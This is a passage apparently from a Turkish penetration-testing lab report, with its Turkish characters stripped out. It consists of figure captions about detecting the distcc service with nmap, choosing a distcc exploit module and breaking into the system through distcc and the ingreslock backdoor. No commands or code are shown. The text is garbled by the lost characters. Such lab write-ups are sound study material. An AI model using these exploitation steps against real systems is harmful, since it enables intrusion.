    altrlabilir. Bylece ilemci gc baka bilgisayarlar zerine datlabilir. Distcc

    nin sistem zerinde alt nmap ktsndan grlebilir.

    ekil 27 :Ingreslock ayla sisteme szlmtr

    ekil 28:Distcc ann tespiti

  • 29

    ekil 30 :Distcc modul seimi ve modul detay

    ekil 29:Distcc exploit ilemleri ve sisteme szlmas

  • 30

    OZGEM